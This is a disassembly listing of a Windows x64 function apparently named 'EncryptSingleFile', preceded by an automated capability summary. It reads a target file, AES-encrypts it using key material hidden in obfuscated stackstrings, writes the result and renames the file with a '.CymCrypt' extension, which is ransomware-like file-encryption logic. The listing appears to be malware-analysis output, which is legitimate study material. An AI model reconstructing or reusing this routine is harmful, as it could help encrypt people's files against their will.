Function at 0x180004ae0
Capabilities:
Contain obfuscated stackstrings
Get file size
Move file
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x18005f038]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
mov r14d, r8d
mov r15, rdx
mov rdi, rcx
mov qword [rbp + 0x188], rcx
xor r13d, r13d
mov qword [rbp + 0x180], r13
mov esi, r13d
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x198], xmm1
mov qword [rbp + 0x1a8], r13
cmp qword [rcx + 0x18], 8
jb 0x180004b51
mov rcx, qword [rcx]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180004bb1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rcx, qword [0x180061f28]
mov r10, qword [rcx]
mov r9d, eax
lea r8d, [rbx + 3]
lea rdx, str.EncryptSingleFile:CreateFile_failed__d
call qword [r10 + 0x10]
mov rbx, qword [rbp + 0x198]
jmp 0x18000538f
lea rdx, [rbp + 0x180]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x180004bff
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rcx, qword [0x180061f28]
mov rax, qword [rcx]
mov r9d, esi
mov r8d, 2
lea rdx, str.EncryptSingleFile:GetFileSizeEx_failed__d
call qword [rax + 0x10]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rbp + 0x198]
jmp 0x18000538f
mov ecx, dword [rbp + 0x180]
call fcn.180021354
mov r12, rax
mov qword [rsp + 0x20], r13
lea r9, [rbp + 0x190]
mov r8d, dword [rbp + 0x180]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x180004c6b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rcx, qword [0x180061f28]
mov r10, qword [rcx]
mov r9d, eax
mov r8d, 2
lea rdx, str.EncryptSingleFile:ReadFile_failed__d
call qword [r10 + 0x10]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rbp + 0x198]
jmp 0x180005386
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x40], 0xd56a0952
mov dword [rsp + 0x44], 0x38a53630
mov dword [rsp + 0x48], 0x9ea340bf
mov dword [rsp + 0x4c], 0xfbd7f381
mov dword [rsp + 0x50], 0x8239e37c
mov dword [rsp + 0x54], 0x87ff2f9b
mov dword [rsp + 0x58], 0x44438e34
mov dword [rsp + 0x5c], 0xcbe9dec4
mov dword [rsp + 0x60], 0x32947b54
mov dword [rsp + 0x64], 0x3d23c2a6
mov dword [rsp + 0x68], 0xb954cee
mov dword [rsp + 0x6c], 0x4ec3fa42
mov dword [rsp + 0x70], 0x66a12e08
mov dword [rsp + 0x74], 0xb224d928
mov dword [rsp + 0x78], 0x49a25b76
mov dword [rsp + 0x7c], 0x25d18b6d
mov dword [rbp - 0x80], 0x64f6f872
mov dword [rbp - 0x7c], 0x16986886
mov dword [rbp - 0x78], 0xcc5ca4d4
mov dword [rbp - 0x74], 0x92b6655d
mov dword [rbp - 0x70], 0x5048706c
mov dword [rbp - 0x6c], 0xdab9edfd
mov dword [rbp - 0x68], 0x5746155e
mov dword [rbp - 0x64], 0x849d8da7
mov dword [rbp - 0x60], 0xabd890
mov dword [rbp - 0x5c], 0xad3bc8c
mov dword [rbp - 0x58], 0x558e4f7
mov dword [rbp - 0x54], 0x645b3b8
mov dword [rbp - 0x50], 0x8f1e2cd0
mov dword [rbp - 0x4c], 0x20f3fca
mov dword [rbp - 0x48], 0x3bdafc1
mov dword [rbp - 0x44], 0x6b8a1301
mov dword [rbp - 0x40], 0x4111913a
mov dword [rbp - 0x3c], 0xeadc674f
mov dword [rbp - 0x38], 0xcecff297
mov dword [rbp - 0x34], 0x73e6b4f0
mov dword [rbp - 0x30], 0x2274ac96
mov dword [rbp - 0x2c], 0x8535ade7
mov dword [rbp - 0x28], 0xe837f9e2
mov dword [rbp - 0x24], 0x6edf751c
mov dword [rbp - 0x20], 0x711af147
mov dword [rbp - 0x1c], 0x89c5291d
mov dword [rbp - 0x18], 0xe62b76f
mov dword [rbp - 0x14], 0x1bbe18aa
mov dword [rbp - 0x10], 0x4b3e56fc
mov dword [rbp - 0xc], 0x2079d2c6
mov dword [rbp - 8], 0xfec0db9a
mov dword [rbp - 4], 0xf45acd78
mov dword [rbp], 0x33a8dd1f
mov dword [rbp + 4], 0x31c70788
mov dword [rbp + 8], 0x591012b1
mov dword [rbp + 0xc], 0x5fec8027
mov dword [rbp + 0x10], 0xa97f5160
mov dword [rbp + 0x14], 0xd4ab519
mov dword [rbp + 0x18], 0x9f7ae52d
mov dword [rbp + 0x1c], 0xef9cc993
mov dword [rbp + 0x20], 0x4d3be0a0
mov dword [rbp + 0x24], 0xb0f52aae
mov dword [rbp + 0x28], 0x3cbbebc8
mov dword [rbp + 0x2c], 0x61995383
mov dword [rbp + 0x30], 0x7e042b17
mov dword [rbp + 0x34], 0x26d677ba
mov dword [rbp + 0x38], 0x631469e1
mov dword [rbp + 0x3c], 0x7d0c2155
mov dword [rbp + 0x40], 0x7b777c63
mov dword [rbp + 0x44], 0xc56f6bf2
mov dword [rbp + 0x48], 0x2b670130
mov dword [rbp + 0x4c], 0x76abd7fe
mov dword [rbp + 0x50], 0x7dc982ca
mov dword [rbp + 0x54], 0xf04759fa
mov dword [rbp + 0x58], 0xafa2d4ad
mov dword [rbp + 0x5c], 0xc072a49c
mov dword [rbp + 0x60], 0x2693fdb7
mov dword [rbp + 0x64], 0xccf73f36
mov dword [rbp + 0x68], 0xf1e5a534
mov dword [rbp + 0x6c], 0x1531d871
mov dword [rbp + 0x70], 0xc323c704
mov dword [rbp + 0x74], 0x9a059618
mov dword [rbp + 0x78], 0xe2801207
mov dword [rbp + 0x7c], 0x75b227eb
mov dword [rbp + 0x80], 0x1a2c8309
mov dword [rbp + 0x84], 0xa05a6e1b
mov dword [rbp + 0x88], 0xb3d63b52
mov dword [rbp + 0x8c], 0x842fe329
mov dword [rbp + 0x90], 0xed00d153
mov dword [rbp + 0x94], 0x5bb1fc20
mov dword [rbp + 0x98], 0x39becb6a
mov dword [rbp + 0x9c], 0xcf584c4a
mov dword [rbp + 0xa0], 0xfbaaefd0
mov dword [rbp + 0xa4], 0x85334d43
mov dword [rbp + 0xa8], 0x7f02f945
mov dword [rbp + 0xac], 0xa89f3c50
mov dword [rbp + 0xb0], 0x8f40a351
mov dword [rbp + 0xb4], 0xf5389d92
mov dword [rbp + 0xb8], 0x21dab6bc
mov dword [rbp + 0xbc], 0xd2f3ff10
mov dword [rbp + 0xc0], 0xec130ccd
mov dword [rbp + 0xc4], 0x1744975f
mov dword [rbp + 0xc8], 0x3d7ea7c4
mov dword [rbp + 0xcc], 0x73195d64
mov dword [rbp + 0xd0], 0xdc4f8160
mov dword [rbp + 0xd4], 0x88902a22
mov dword [rbp + 0xd8], 0x14b8ee46
mov dword [rbp + 0xdc], 0xdb0b5ede
mov dword [rbp + 0xe0], 0xa3a32e0
mov dword [rbp + 0xe4], 0x5c240649
mov dword [rbp + 0xe8], 0x62acd3c2
mov dword [rbp + 0xec], 0x79e49591
mov dword [rbp + 0xf0], 0x6d37c8e7
mov dword [rbp + 0xf4], 0xa94ed58d
mov dword [rbp + 0xf8], 0xeaf4566c
mov dword [rbp + 0xfc], 0x8ae7a65
mov dword [rbp + 0x100], 0x2e2578ba
mov dword [rbp + 0x104], 0xc6b4a61c
mov dword [rbp + 0x108], 0x1f74dde8
mov dword [rbp + 0x10c], 0x8a8bbd4b
mov dword [rbp + 0x110], 0x66b53e70
mov dword [rbp + 0x114], 0xef60348
mov dword [rbp + 0x118], 0xb9573561
mov dword [rbp + 0x11c], 0x9e1dc186
mov dword [rbp + 0x120], 0x1198f8e1
mov dword [rbp + 0x124], 0x948ed969
mov dword [rbp + 0x128], 0xe9871e9b
mov dword [rbp + 0x12c], 0xdf2855ce
mov dword [rbp + 0x130], 0xd89a18c
mov dword [rbp + 0x134], 0x6842e6bf
mov dword [rbp + 0x138], 0xf2d9941
mov dword [rbp + 0x13c], 0x16bb54b0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], r13
mov edx, 0x100
lea rcx, [rbp + 0x140]
call fcn.18000a200
mov r8d, 0x100
lea rdx, [rsp + 0x40]
mov rbx, qword [rbp + 0x140]
mov rcx, rbx
call fcn.1800232f0
lea rax, [rbx + 0x100]
mov qword [rbp + 0x148], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], r13
mov edx, 0x100
lea rcx, [rbp + 0x160]
call fcn.18000a200
mov r8d, 0x100
lea rdx, [rbp + 0x40]
mov rbx, qword [rbp + 0x160]
mov rcx, rbx
call fcn.1800232f0
lea rax, [rbx + 0x100]
mov qword [rbp + 0x168], rax
mov r9d, dword [rbp + 0x180]
mov rdx, r14
lea rax, [rbp + 0x140]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x160]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x198]
mov qword [rsp + 0x20], rax
mov r8, r12
mov rcx, r15
call fcn.1800142c0
nop
mov rcx, qword [rbp + 0x160]
test rcx, rcx
je 0x1800051a4
mov rdx, qword [rbp + 0x170]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000519e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005455
call fcn.180020ec0
nop
mov rcx, qword [rbp + 0x140]
test rcx, rcx
je 0x1800051e4
mov rdx, qword [rbp + 0x150]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800051df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000545b
call fcn.180020ec0
mov r14, qword [rbp + 0x1a0]
mov rbx, qword [rbp + 0x198]
sub r14, rbx
test r14d, r14d
je 0x18000536c
mov ecx, r14d
call fcn.180021354
mov r15, rax
mov r8, r14
mov rdx, rbx
mov rcx, rax
call fcn.1800232f0
mov rdx, rdi
lea rcx, [rbp + 0x140]
call fcn.180008d30
mov r8d, r14d
mov rdx, r15
mov rcx, rax
call fcn.1800044d0
mov esi, eax
test eax, eax
je 0x180005264
mov rcx, qword [0x180061f28]
mov rax, qword [rcx]
mov r9d, esi
mov r8d, 2
lea rdx, str.EncryptSingleFile:Write_failed__d
call qword [rax + 0x10]
mov rcx, r15
call fcn.180020ec0
jmp 0x180005386
mov rcx, qword [rdi + 0x10]
movabs rax, 0x7ffffffffffffffe
sub rax, rcx
cmp rax, 9
jb 0x180005461
mov r9, rdi
cmp qword [rdi + 0x18], 8
jb 0x18000528c
mov r9, qword [rdi]
mov qword [rsp + 0x30], 9
lea rax, str..CymCrypt
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x140]
call fcn.18000a290
lea rdx, [rbp + 0x140]
cmp qword [rbp + 0x158], 8
cmovae rdx, qword [rbp + 0x140]
mov rcx, rdi
cmp qword [rdi + 0x18], 8
jb 0x1800052d6
mov rcx, qword [rdi]
call fcn.180027b30
mov r14d, eax
mov rdx, qword [rbp + 0x158]
cmp rdx, 8
jb 0x180005324
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000531f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005467
call fcn.180020ec0
mov qword [rbp + 0x150], r13
mov qword [rbp + 0x158], 7
mov word [rbp + 0x140], r13w
test r14d, r14d
je 0x180005362
mov rcx, qword [0x180061f28]
mov rax, qword [rcx]
mov r8d, 2
lea rdx, str.Could_not_rename_encrypted_version
call qword [rax + 0x10]
mov esi, 0x57
mov rcx, r15
call fcn.180020ec0
jmp 0x180005386
mov rcx, qword [0x180061f28]
mov rax, qword [rcx]
mov r8d, 2
lea rdx, str.EncryptSingleFile:AESEncrypt_failed
call qword [rax + 0x10]
mov rcx, r12
call fcn.180020ec0
nop
test rbx, rbx
je 0x1800053cc
mov rdx, qword [rbp + 0x1a8]
sub rdx, rbx
mov rax, rbx
cmp rdx, 0x1000
jb 0x1800053c3
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005449
mov rcx, rbx
call fcn.180020ec0
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 8
jb 0x180005407
lea rdx, [rdx*2 + 2]
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x180005402
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18000544f
mov rcx, r8
call fcn.180020ec0
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 7
mov word [rdi], r13w
mov eax, esi
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.180020ea0
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.180027fe0
nop
call fcn.180027fe0
nop
call fcn.180027fe0
nop
call fcn.180027fe0
int3
call fcn.1800034e0
int3
call fcn.180027fe0
int3